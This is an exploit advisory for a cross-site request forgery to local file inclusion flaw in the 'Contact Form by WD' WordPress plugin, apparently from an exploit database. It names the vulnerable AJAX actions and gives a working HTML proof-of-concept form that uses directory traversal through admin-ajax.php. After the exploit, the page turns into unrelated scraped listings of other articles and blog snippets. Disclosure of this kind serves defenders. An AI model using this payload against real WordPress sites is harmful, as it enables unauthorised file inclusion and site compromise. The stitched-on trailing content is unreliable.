# Exploit Title: Contact Form by WD [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/contact-form-maker
# Version: 1.13.1
# Tested on: WordPress 5.1.1

Description
-----------

Plugin implements the following AJAX actions:

- `manage_fm`
- `get_stats`
- `generete_csv`
- `generete_xml`
- `formmakerwdcaptcha`
- `nopriv_formmakerwdcaptcha`
- `formmakerwdmathcaptcha`
- `nopriv_formmakerwdmathcaptcha`
- `product_option`
- `FormMakerEditCountryinPopup`
- `FormMakerMapEditinPopup`
- `FormMakerIpinfoinPopup`
- `show_matrix`
- `FormMakerSubmits`
- `FormMakerSQLMapping`
- `select_data_from_db`
- `manage`

All of them call the function `form_maker_ajax_fmc`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.

The following AJAX actions are available only for the paid version of
the plugin:

- `paypal_info`
- `checkpaypal`
- `nopriv_checkpaypal`
- `get_frontend_stats`
- `nopriv_get_frontend_stats`
- `frontend_show_map`
- `nopriv_frontend_show_map`
- `frontend_show_matrix`
- `nopriv_frontend_show_matrix`
- `frontend_paypal_info`
- `nopriv_frontend_paypal_info`
- `frontend_generate_csv`
- `nopriv_frontend_generate_csv`
- `frontend_generate_xml`
- `nopriv_frontend_generate_xml`
- `FMShortocde`
- `wd_bp_dismiss`

In both free and paid versions, there are no-privilege actions that can
be exploited by unauthenticated users in order to include local files.

------
PoC
```html

 <form method="post"
action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=../../../../../index.php">
<label>AJAX action:
<select name="action">
<optgroup label="Free version">
<option value="FMShortocde_fmc">FMShortocde_fmc</option>
<option value="FormMakerEditCountryinPopup_fmc">FormMakerEditCountryinPopup_fmc</option>
<option value="FormMakerIpinfoinPopup_fmc">FormMakerIpinfoinPopup_fmc</option>
<option value="FormMakerMapEditinPopup_fmc">FormMakerMapEditinPopup_fmc</option>
<option value="FormMakerSQLMapping_fmc">FormMakerSQLMapping_fmc</option>
<option value="FormMakerSubmits_fmc">FormMakerSubmits_fmc</option>
<option value="formmakerwdcaptcha_fmc">formmakerwdcaptcha_fmc</option>
<option value="formmakerwdmathcaptcha_fmc">formmakerwdmathcaptcha_fmc</option>
<option value="frontend_show_matrix_fmc">frontend_show_matrix_fmc</option>
<option value="generete_csv_fmc">generete_csv_fmc</option>
<option value="generete_xml_fmc">generete_xml_fmc</option>
<option value="get_stats_fmc">get_stats_fmc</option>
<option value="manage_fmc">manage_fmc</option>
<option value="manage_fm_fmc">manage_fm_fmc</option>
<option value="nopriv_formmakerwdcaptcha_fmc">nopriv_formmakerwdcaptcha_fmc</option>
<option value="nopriv_formmakerwdmathcaptcha_fmc">nopriv_formmakerwdmathcaptcha_fmc</option>
<option value="product_option_fmc">product_option_fmc</option>
<option value="select_data_from_db_fmc">select_data_from_db_fmc</option>
<option value="wd_bp_dismiss_fmc">wd_bp_dismiss_fmc</option>
</optgroup>
<optgroup label="Pro Version">
<option value="paypal_info_fmc">paypal_info_fmc</option>
<option value="checkpaypal_fmc">checkpaypal_fmc</option>
<option value="nopriv_checkpaypal_fmc">nopriv_checkpaypal_fmc</option>
<option value="nopriv_get_frontend_stats_fmc">nopriv_get_frontend_stats_fmc</option>
<option value="get_frontend_stats_fmc">get_frontend_stats_fmc</option>
<option value="frontend_show_map_fmc">frontend_show_map_fmc</option>
<option value="nopriv_frontend_show_map_fmc">nopriv_frontend_show_map_fmc</option>
<option value="show_matrix_fmc">show_matrix_fmc</option>
<option value="nopriv_frontend_show_matrix_fmc">nopriv_frontend_show_matrix_fmc</option>
<option value="frontend_paypal_info_fmc">frontend_paypal_info_fmc</option>
<option value="nopriv_frontend_paypal_info_fmc">nopriv_frontend_paypal_info_fmc</option>
<option value="frontend_generate_csv_fmc">frontend_generate_csv_fmc</option>
<option value="nopriv_frontend_generate_csv_fmc">nopriv_frontend_generate_csv_fmc</option>
<option value="frontend_generate_xml_fmc">frontend_generate_xml_fmc</option>
<option value="nopriv_frontend_generate_xml_fmc">nopriv_frontend_generate_xml_fmc</option>
</optgroup>
</select>
</label>
<button type="submit" value="Submit">Submit</button>
</form>

```

WordPress plugin Contact Form [CSRF → LFI] vulnerable 2019-03-17的更多相关文章

  1. WordPress Plugin Contact Form Builder [CSRF → LFI]

    # Exploit Title: Contact Form Builder [CSRF → LFI]# Date: 2019-03-17# Exploit Author: Panagiotis Vag ...

  2. WordPress Plugin Form Maker [CSRF → LFI] vulnerable 2019-03-17

    # Title: Form Maker by WD [CSRF → LFI]# Date: 2019-03-17# Exploit Author: Panagiotis Vagenas# Vendor ...

  3. [2019/03/17#杭师大ACM]赛后总结(被吊锤记)

    前言 和扬子曰大佬和慕容宝宝大佬一组,我压力巨大,而且掌机,累死我了,敲了一个下午的代码,他们两个人因为比我巨就欺负我QwQ. 依旧被二中学军爆锤,我真的好菜,慕容宝宝或者是扬子曰大佬来掌机一定成绩比 ...

  4. WordPress Contact Form 7插件任意文件上传漏洞

    漏洞名称: WordPress Contact Form 7插件任意文件上传漏洞 CNNVD编号: CNNVD-201311-415 发布时间: 2013-11-28 更新时间: 2013-11-28 ...

  5. article2pdf (Wordpress plug-in) Multiple vulnerabilities(CVE-2019-1000031, CVE-2019-1010257)

    Product: article2pdf (Wordpress plug-in)Product Website: https://wordpress.org/plugins/article2pdf/A ...

  6. Contact Form 7邮件发送失败的解决办法

    一.contact form 7无法发送邮件的原因 对mail()函数的不支持. Contact Form 7表单提交失败在使用过程中会出现,归根结底原因在于wordpress主机问题,由于国 内很多 ...

  7. WP Mail SMTP插件解决Contact Form 7表单提交失败问题

    WP Mail SMTP插件解决Contact Form 7表单提交失败问题 WP Mail SMTP是一款非常优秀的解决WordPress主机因为不支持或者是禁用了mail()函数,导致无法实现在线 ...

  8. contact form 7如何搭配Akismet过滤垃圾邮件

    contact form 7有很多站长在用,但是经常会有一些垃圾邮件进来,如何过滤呢?两个方法:1.表单提交启用验证码功能,很多垃圾邮件是用软件扫相应的端口,然后批量群发,如果用验证码了可以过滤很大一 ...

  9. [转]jQuery Popup Login and Contact Form

    本文转自:http://www.formget.com/jquery-popup-form/ Pop up forms are the smart way to present your site. ...

随机推荐

  1. 虚拟机安装windows7 VMware12 安装window7

    闲来无事就来搞虚拟机装操作系统!期间出现很多错误,分享一下 一.安装虚拟机 二.准备安装的镜像文件 我下载的是windows7纯净版 深度技术里面下载的(http://www.xitongzhijia ...

  2. UEditor1.2.6.0在.net环境下使用

    UEditor1.2.6.0 1.百度百科词条 2.UEditor官方网站 [CKEditor+CKFinder的配置实用,可查看博主另一篇文章] 第一次接触UEditor还是在2011年的下半年里, ...

  3. 第一课android开发之在activity间传递参数

    一.活动间简单参数传递:1.在布局中添加按钮,用<Button,用id设置id名称,id="@+id/这儿填写你要设置成的名称":用text设置按钮上显示的文字.text=& ...

  4. 是时候选择一款富文本编辑器了(wangEditor)

    需要一款富文本编辑器,当然不能自己造轮子.本来想使用cnblog也在用的TinyMCE,名气大,功能全.但是发现TinyMCE从4.0开始,不再支持直接下载.所以还是决定选用wangEditor.遗憾 ...

  5. nginx 常见正则匹配符号表示

    1.^: 匹配字符串的开始位置: 2. $:匹配字符串的结束位置: 3..*: .匹配任意字符,*匹配数量0到正无穷: 4.\. 斜杠用来转义,\.匹配 . 特殊使用方法,记住记性了: 5.(值1|值 ...

  6. Cookies, Claims and Authentication in ASP.NET Core(转载)

    Most of the literature concerning the theme of authentication in ASP.NET Core focuses on the use of ...

  7. Web后台快速开发框架(.NET Core)

    Web后台快速开发框架(.NET Core) Coldairarrow 目录 目录 第1章    目录    1 第2章    简介    3 第3章    基础准备    4 3.1    开发环境 ...

  8. 遍历一个List的几种方法

    方式1.一开始是这样的: public static void test1(List<String> list) { for (int i = 0; i < list.size(); ...

  9. Charles(V3.10.1)的抓包以及常见功能的使用

    一.Charles的安装 安装都不会,那就不用再往下看了.(*^__^*) 嘻嘻…… 二.HTTP抓包 1.查看电脑IP地址 2.设置手机的HTTP代理 手机连接到同一WiFi下设置HTTP代理: 服 ...

  10. java 图片处理 base64编码和图片二进制编码相互转换

    今天在弄小程序项目时,涉及上传图片的更改. 以下是代码: /** * -> base64 * @param imgFile * @return * @throws IOException */ ...